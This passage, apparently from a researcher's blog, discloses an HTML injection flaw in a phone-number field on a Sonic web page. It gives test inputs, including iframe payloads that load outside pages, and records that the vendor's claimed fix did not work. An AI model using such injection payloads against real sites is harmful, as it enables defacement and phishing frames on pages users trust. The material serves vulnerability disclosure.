BUT you can inject text after the phone number and it's not filtered.
Try this:
123-123-1234<b>bold
You can see the text turn bold.
Then try this:
123-123-1234<iframe src=http://samsclass.info>
Then this:
123-123-1234<iframe src=http://samsclass.info/injection.html>
I reported this to Sonic on 4-15-09. They replied on 4-16-09 and said it was fixed, but when I tested it, it was not fixed.